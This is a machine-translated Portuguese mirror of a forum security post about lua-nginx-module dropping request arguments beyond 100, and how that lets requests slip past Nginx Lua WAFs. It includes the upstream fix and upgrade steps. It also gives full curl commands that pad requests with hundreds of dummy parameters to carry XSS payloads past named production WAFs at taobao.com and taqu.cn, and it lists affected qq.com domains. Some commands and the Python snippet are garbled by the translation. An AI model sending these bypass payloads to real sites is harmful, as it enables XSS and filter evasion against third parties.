Este artigo é um artigo espelhado de tradução automática, por favor clique aqui para ir para o artigo original.

Vista: 16994|Resposta: 1

[Vulnerabilidade de Segurança] Vulnerabilidade do Firewall de Aplicações WAF do Nginx Lua

[Copiar link]
Publicado em 27/04/2018 09:23:29 | | | |
Quando o ginx Lua obtém parâmetros, os primeiros 100 valores de parâmetros são obtidos por padrão, e o restante é descartado.
Portanto, WAFs que usam Nginx Lua serão contornados por padrão.
No dia 20 de abril de 18, alguém no passageiro de segurança já havia divulgado esse detalhe, então também publiquei este artigo 233.



Princípio

A descrição oficial é a seguinte

Note que um máximo de 100 argumentos de solicitação são analisados por padrão (incluindo aqueles com o mesmo nome) e que argumentos adicionais de solicitação são silenciosamente descartados para evitar possíveis Ataques de negação de serviço.

Até 100 parâmetros de requisição (incluindo aqueles com o mesmo nome) podem ser analisados por padrão, e parâmetros adicionais de requisição são automaticamente eliminados para evitar possíveis ataques de negação de serviço.

Busca 100, mais ou menos o método a seguir, tem o mesmo problema.
ngx.req.get_uri_args Obtenha os parâmetros de solicitação para get
ngx.req.get_post_args Obtenha os parâmetros de solicitação para a postagem
ngx.req.get_headers Obtenha o cabeçalho do pedido
ngx.decode_args Decodificar a URL dos parâmetros
ngx.resp.get_headers Obtenha o cabeçalho de resposta
No código-fonte do módulo lua-nginx, podemos ver que o código-fonte define o parâmetro máximo padrão de requisição e o cabeçalho para 100




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

No entanto, o oficial fornece um método para modificar o valor padrão, como ngx.req.get_uri_args (200), para obter os primeiros 200 parâmetros de requisição.

Teste

Se o parâmetro de requisição for 101, o último parâmetro de requisição não pode ser obtido.

Rotela -V 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

Se você reduzir um parâmetro de requisição, pode obter o último parâmetro de requisição quando os parâmetros de requisição estiverem exatamente 100.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
R: ZBG
Te peguei, zbg

Note que o padrão é realmente 100 parâmetros de requisição, e os parâmetros de requisição após 100 parâmetros serão descartados.

Há uma coisa estranha que, no conteúdo de retorno acima, no meio da posição aproximada, o parâmetro final zbg já está gerado. Meu palpite é que a saída não está em ordem, mas a ordem em que a análise sintática é feita segue a ordem em que os parâmetros são submetidos, porque quando o valor do 101º parâmetro é zbg, o valor não pode ser obtido.

Anexado está o script em python que gera os parâmetros:

# Autor: ZBG
# Mail:zbg@zbg.org
# Data: 2018-04-03

a = ''
para i no intervalo(200):
    A = A + 'A{0}={1}&'.Format(i+1, I+1)
Imprimir A
reparar
Claro, não é recomendado modificar o valor MAX do parâmetro no código-fonte. Porque, não importa o quão grande seja o valor que você defina, ele pode ser ignorado. Recomenda-se ajustá-lo pelos parâmetros do método.
Se você conseguir o comprimento do parâmetro de solicitação e usar um método como ngx.req.get_uri_args (lenth), isso não seria suficiente?
Lendo a documentação, percebi que o número de parâmetros solicitados não foi possível. No entanto, se você definir a lente em 0, pode obter todos os parâmetros solicitados.

Esse argumento pode ser definido como zero para remover o limite e processar todos os argumentos de solicitação recebidos.
args local = ngx.req.get_uri_args(0)

No entanto, é fortemente desencorajado deixá-lo em 0 para evitar possíveis ataques de negação de serviço.

Remover o limite de max_args é fortemente desaconselhado.

Na verdade, eu estava me perguntando por que definir 0 levaria a um possível ataque de negação de serviço, e a solicitação iria para o nginx de qualquer forma, não importando quantos parâmetros houvesse no get ou post.

Levantei um problema ao oficial, e o autor disse que ngx.req.get_uri_args (0) aumentará o uso de CPU e memória do servidor. Depois, testei 200 parâmetros e usei Nginx+php para obter o parâmetro 200, o que significa que Nginx não limita o número de parâmetros solicitados por padrão. Então o problema pode estar no próprio Nginx Lua,Quando o Nginx Lua usa ngx.req.get_uri_args(0) para obter todos os parâmetros e os iterar, uma vez que muitos parâmetros são solicitados, consome mais CPU e memória, e eventualmente até leva a uma negação de serviço

Em 03/04/2018, o Bypass007 levantou oficialmente um PROBLEMA sobre essa correção de bug e finalmente adicionou oficialmente um novo recurso baseado nesse PROBLEMA em 21-04-2018. O endereço do registro de commit dessa função: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

A descrição da função é a seguinte: Em versões após v0.10.13 (incluindo v0.10.13), quando o número limite de solicitações é ultrapassado, o segundo valor de retorno é a string truncada.
Desde a v0.10.13, quando o limite é ultrapassado, ele retorna um segundo valor que é a string "truncada".
No entanto, o argumento opcional da função max_args pode ser usado para sobrepor esse limite:
args local, err = ngx.req.get_uri_args(10)
se err == "truncado" então
     -- pode-se escolher ignorar ou rejeitar o pedido atual aqui
fim

Então, a solução final veio.

Atualize o lua-nginx-module para v0.10.13 ou posterior

Depois, limite o número total de parâmetros, quanto ao quanto o número total é limitado, pessoalmente acho que 100 é suficiente

O OpenResty atualiza o módulo lua-nginx

Não encontrei nenhuma informação sobre o módulo de atualização do OpenResty, então descobri como atualizar o módulo lua-nginx sozinho.

Os passos são os seguintes:

Baixe a versão correspondente do módulo lua-nginx
O que https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
desempacotar
tar -zxvf v0.10.13
Exclua a versão anterior do módulo lua-nginx
RM -RF OpenResty-1.9.15.1/Bundle/ngx_lua-0.10.5
Copie o novo módulo lua-nginx
MV Lua-nginx-module-0.10.13 OpenResty-1.9.15.1/bundle/ngx_lua-0.10.13
Para compilação, consulte os parâmetros de compilação do VeryNginx


Desvio de caso

Devo ser esclarecido que os seguintes WAFs não tenho certeza se devo usar o Nginx Lua, mas eles podem ser ignorados pelo número total de parâmetros.

Ali WAF

Esse WAF é um WAF usado internamente pela Alibaba, ou seja, o WAF usado por nomes de domínio como *.taobao.com, e não foi testado para o WAF em nuvem vendido pela Alibaba Cloud.
Primeiro, solicite um POST XSS Payload para interceptá-lo.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
Por meio do Fuzz, foi constatado que, quando o número de parâmetros é aumentado para 478, com o XSS Payload, ele não é mais interceptado, e o site pode ser acessado normalmente.
Roteio -v -D 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a80=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com

UCloud

O WAF testado é um WAF vendido pela UCloud.
Quando o parâmetro de solicitação for aumentado para 138, ele não será mais bloqueado e o site será acessado normalmente.
Curva -D 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a80=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alerta(1234)' taqu.cn

Tencent WAF

Esse WAF é um WAF usado internamente pela Tencent, ou seja, o WAF usado por nomes de domínio como *.qq.com, e não foi testado para o WAF em nuvem vendido pela Tencent Cloud.
Quando o parâmetro de solicitação aumenta para 4000, ele não será mais bloqueado e o site será acessado normalmente. Testes aleatórios dos seguintes domínios são afetados.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

resumo

Essa pergunta é muito simples, e você pode encontrá-la lendo o documento com atenção. Mas por que eu não descobri? Acho que ainda é pensar pouco.
Referência
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Anterior:Aprenda Photoshop do zero, 18 lições do iniciante ao deus
Próximo:Pontos fortes e fracos de Lua e Luajit
Disclaimer:
Todo software, material de programação ou artigos publicados pela Code Farmer Network são apenas para fins de aprendizado e pesquisa; O conteúdo acima não deve ser usado para fins comerciais ou ilegais, caso contrário, os usuários terão todas as consequências. As informações deste site vêm da Internet, e disputas de direitos autorais não têm nada a ver com este site. Você deve deletar completamente o conteúdo acima do seu computador em até 24 horas após o download. Se você gosta do programa, por favor, apoie um software genuíno, compre o registro e obtenha serviços genuínos melhores. Se houver qualquer infração, por favor, entre em contato conosco por e-mail.

Mail To:help@itsvse.com